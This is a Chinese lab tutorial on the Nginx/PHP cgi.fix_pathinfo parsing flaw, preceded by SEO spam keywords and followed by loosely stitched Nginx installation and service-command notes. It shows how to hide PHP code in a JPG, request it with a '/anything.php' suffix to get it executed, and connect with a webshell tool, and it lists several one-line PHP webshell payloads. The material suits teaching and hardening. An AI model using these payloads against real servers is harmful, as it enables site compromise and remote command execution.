如何注册网站主办者,深圳设计展2022,企业做网站可以带中国吗,传媒网站设计公司Nginx Nginx解析安全实战预备知识实验目的#制作图片木马# web服务器-Nginx服务命令及配置centOS7安装安装所需插件安装gccpcre、pcre-devel安装zlib安装安装openssl Nginx解析安全实战 
预备知识 
NginxPHP/FastCGI构建的WEB服务器工作原理 
Nginx|FastCGI简介 
Nginx (“engin…  Nginx Nginx解析安全实战预备知识实验目的#制作图片木马#    web服务器-Nginx服务命令及配置centOS7安装安装所需插件安装gccpcre、pcre-devel安装zlib安装安装openssl    Nginx解析安全实战 
预备知识 
NginxPHP/FastCGI构建的WEB服务器工作原理 
Nginx|FastCGI简介 
Nginx (“engine x”) 是一个高性能的 HTTP和反向代理服务器 Nginx作为WEB服务器可以处理静态文件 索引文件以及自动索引 能够使用缓存加速反向代理 并提供简单的负载均衡及容错、模块化的架构等功能。 Nginx由内核和模块组成其中内核的设计非常微小和简洁完成的工作也非常简单仅仅通过查找配置文件将客户端请求映射到一个location blocklocation是Nginx配置中的一个指令用于URL匹配而在这个location中所配置的每个指令将会启动不同的模块去完成相应的工作。Nginx的模块从结构上分为核心模块、基础模块和第三方模块1)核心模块HTTP模块、EVENT模块和MAIL模块2)基础模块HTTP Access模块、HTTP FastCGI模块、HTTP Proxy模块和HTTP Rewrite模块3)第三方模块HTTP Upstream Request Hash模块、Notice模块和HTTP Access Key模块。用户根据自己的需要开发的模块都属于第三方模块。正是有了这么多模块的支撑Nginx的功能才会如此强大。Nginx的模块从功能上分为如下三类。1)Handlers处理器模块此类模块直接处理请求并进行输出内容和修改headers信息等操作。Handlers处理器模块一般只能有一个。2)Filters 过滤器模块此类模块主要对其他处理器模块输出的内容进行修改操作最后由Nginx输出。3)Proxies 代理类模块此类模块是Nginx的HTTP Upstream之类的模块这些模块主要与后端一些服务比如FastCGI等进行交互实现服务代理和负载均衡等功能。Nginx模块常规的HTTP请求和响应的过程********************************************************************* FastCGI(CGI: Common Gateway Interface, “公共网关接口”)是一个可伸缩地、高速地在HTTP server和动态脚本语言间通信的接口。多数流行的HTTP server都支持FastCGI包括Apache、Nginx和lighttpd等同时FastCGI也被许多脚本语言所支持其中就有PHP。FastCGI接口方式采用C/S结构可以将HTTP服务器和脚本解析服务器分开同时在脚本解析服务器上启动一个或者多个脚本解析守护进程。当HTTP服务器每次遇到动态程序时可以将其直接交付给FastCGI进程来执行然后将得到的结果返回给浏览器。这种方式可以让HTTP服务器专一地处理静态请求或者将动态脚本服务器的结果返回给客户端这在很大程度上提高了整个应用系统的性能。但Nginx本身并不支持对PHP进行解析因此Nginx在作为PHP应用的WEB服务器时实际上是通过反向代理功能将对PHP页面的请求快速地转交给诸如FastCGI这样的通讯接口转发给PHP进行解析。NginxPHP/FastCGI运行原理 Nginx不支持对外部程序的直接调用或者解析 所有的外部程序包括PHP必须通过FastCGI接口来调用。 FastCGI接口在Linux下是socket 这个socket可以是文件socket也可以是ip socket。 wrapper为了调用CGI程序还需要一个FastCGI的wrapper wrapper可以理解为用于启动另一个程序的程序 这个wrapper绑定在某个固定socket上如端口或者文件socket。 当Nginx将CGI请求发送给这个socket的时候通过FastCGI接口wrapper接收到请求 然后Fork(派生出一个新的线程 这个线程调用解释器或者外部程序处理脚本并读取返回数据 接着wrapper再将返回的数据通过FastCGI接口沿着固定的socket传递给Nginx 最后Nginx将返回的数据html页面或者图片发送给客户端。 这就是NginxFastCGI的整个运作过程如下图所示。  
所以我们首先需要一个wrapper需要完成的工作 (1).通过调用fastcgi库的函数通过socket和ningx通信读写socket是fastcgi内部实现的功能对wrapper是非透明的;(2).调度thread进行fork和kill;(3).和applicationphp进行通信。这个wrapper就是FastCGI进程管理器也可以称为FastCGI引擎FastCGI进程管理器在脚本解析服务器上启动一个或者多个守护进程对动态脚本进行解析而HTTPServer可以完全解放出来更好地进行响应和并发处理。PHP-FPM就是支持PHP的一种FastCGI进程管理器。其整体工作流程(1).FastCGI进程管理器php-fpm自身初始化启动主进程php-fpm和启动start_servers个CGI 子进程。主进程php-fpm主要是管理fastcgi子进程监听服务端口。fastcgi子进程等待来自Web Server的连接。(2).当客户端请求到达Web Server Nginx是时Nginx通过location指令将所有以php为后缀的文件都交给127.0.0.1:xxxx来处理即Nginx通过location指令将所有以php为后缀的文件都交给127.0.0.1:xxxx来处理。(3).FastCGI进程管理器PHP-FPM选择并连接到一个子进程CGI解释器。Web server将CGI环境变量和标准输入发送到FastCGI子进程。(4).FastCGI子进程完成处理后将标准输出和错误信息从同一连接返回Web Server。当FastCGI子进程关闭连接时请求便告处理完成。(5).FastCGI子进程接着等待并处理来自FastCGI进程管理器运行在 WebServer中的下一个连接。PHP CGI 中 fix_pathinfo 引起的解析漏洞分析 这个安全问题最早被人所了解是通过国内安全组织80sec的一篇文章 《nginx文件类型错误解析漏洞》 文章指出当Nginx配置FastCGI使用PHP时 会将诸如http://www.test.com/test.jpg/anything.php 这样的请求, 把test.jpg当作PHP文件来进行解析而anything.php这个文件并不存在。 实际上这并不是一个Nginx的漏洞而是 PHP5默认配置的缺陷造成的。 问题的本质是什么呢 比如, 下面的Nginx conf(Nginx配置文件)location ~ .php($|/) { fastcgi_pass   127.0.0.1:9000;fastcgi_index  index.php;set $script    $uri;set $path_info ;if ($uri ~ ^(.\.php)(/.*)) {set  $script     $1;set  $path_info  $2;}include       fastcgi_params;fastcgi_param SCRIPT_FILENAME   $document_root$script;fastcgi_param SCRIPT_NAME       $script;fastcgi_param PATH_INFO         $path_info;}当我们发出http://www.test.com/test.jpg/anything.php这样的请求时通过“^(.\.php)(/.*)”这段正则匹配后SCRIPT_NAME会被设置为“test.jpg/anything.php”继而构造成SCRIPT_FILENAME传递给整个PHP CGI但是PHP又为什么会接受这样的参数并且把test.jpg解析了呢问题就在于PHP的CGI SAPI中的参数cgi.fix_pathinfo这个参数了。关于cgi.fix_pathinfo这个参数的描述; cgi.fix_pathinfo provides *real* PATH_INFO/PATH_TRANSLATED support for CGI.  PHPs; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok; what PATH_INFO is.  For more information on PATH_INFO, see the cgi specs.  Setting; this to 1 will cause PHP CGI to fix its paths to conform to the spec.  A setting; of zero causes PHP to behave as before.  Default is 1.  You should fix your scripts; to use SCRIPT_FILENAME rather than PATH_TRANSLATED.cgi.fix_pathinfo1上述描述了默认情况cgi.fix_pathinfo的值为1那么如果开启了这个选项就会触发在PHP中的如下逻辑/** if the file doesnt exist, try to extract PATH_INFO out* of it by stating back through the /* this fixes urls like /info.php/test*/if (script_path_translated (script_path_translated_len  strlen(script_path_translated))  0 (script_path_translated[script_path_translated_len-1]  / ||....//以下省略.PHP CGI 以 / 为分隔符号从后向前依次检查路径当检测到test.jpg/anything.php时PHP会认为SCRIPT_FILENAME是test.jpg, 而anything.php是PATH_INFO,然后PHP就把test.jpg当作一个PHP文件来解释执行。在很多使用 php-fpm 0.6 的主机中也会出现这个问题但新的 php-fpm 的已经关闭了 cgi.fix_pathinfo。实验目的 
了解Nginx的工作原理理解Nginx畸形解析漏洞的形成原因 
掌握Nginx几种常见的漏洞测试及利用方法 
掌握Nginx基本的安全加固策略 —  
根据前面的漏洞分析结合图片木马技术对测试站点进行实战测试并成功获取目标站点的webshell构造一个可以正常显示的图片木马给出你操作的截图说一说你还有什么其他的思路针对这个漏洞站点给出你的加固策略 #制作图片木马# 提示请使用windows的画图自己画一张图片另存为jpg/b二进制binary模式/a ascii模式 访问这个地址并在.jpg后加上/anything.php进行测试 解析报语法错误说明将图片当作应用程序执行。菜刀连接这个地址得到权限  
?php eval($_POST[s])??php eval($_POST[c])??php system($_REQUEST[cmd]);??php assert($_POST[c]);??fputs(fopen(c.php,w),?eval($_POST[c]);?)?思路扩展 Exif、伪装图片头等web服务器-Nginx服务命令及配置 
centOS7安装 
高性能的HTTP和反向代理 
转发配置 
Server{ listen server_name root location /{ } location~ } 
安装所需插件 
安装gcc 
gcc是linux下的编译器
可以编译 C,C,Ada,Object C和Java等语言命令查看gcc版本 gcc -v一般阿里云的centOS7里面是都有 
安装命令: 
yum -y install gccpcre、pcre-devel安装 
pcre是一个perl库包括perl兼容的正则表达式库
nginx的http模块使用pcre来解析正则表达式所以需要安装pcre库。安装命令 
yum install -y zlib zlib-develzlib安装 
zlib库提供了很多种压缩和解压缩方式
nginx使用zlib对http包的内容进行gzip所以需要安装安装命令 
yum install -y pcre pcre-devel安装openssl 
openssl是web安全通信的基石没有openssl可以说我们的信息都是在裸奔。。。。。。 
安装命令 
yum install -y openssl openssl-devel1.停止Nginx服务的四种方法 
从容停止服务 这种方法较stop相比就比较温和一些了需要进程完成当前工作后再停止。 
nginx -s quit立即停止服务 这种方法比较强硬无论进程是否在工作都直接停止进程。 
nginx -s stopsystemctl 停止 systemctl属于Linux命令 
systemctl stop nginx.servicekillall 方法杀死进程 直接杀死进程在上面无效的情况下使用态度强硬简单粗暴 
killall nginx2.启动Nginx 
nginx直接启动 
nginxsystemctl命令启动 
systemctl start nginx.service3.查看启动后记录 
ps aux | grep nginx4.重启Nginx服务 
systemctl restart nginx.service5.重新载入配置文件 当有系统配置文件有修改用此命令建议不要停止再重启以防报错 
nginx -s reload6.查看端口号 
netstat -tlnp 通过配置nginx的配置文件/usr/local/nginx/conf/nginx.conf实现开关效果 
1.启用缓存 
location ~ .*\.(gif|jpg|jpeg|png|bmp|swf|js|css)$ {#设置缓存上面定义的后缀文件缓存到浏览器的生存时间expires   3d;
}2.禁用缓存 
location ~ .*\.(gif|jpg|jpeg|png|bmp|swf|js|css)$ {#禁止缓存每次都从服务器请求add_header Cache-Control no-store;
}ps -ef | grep nginx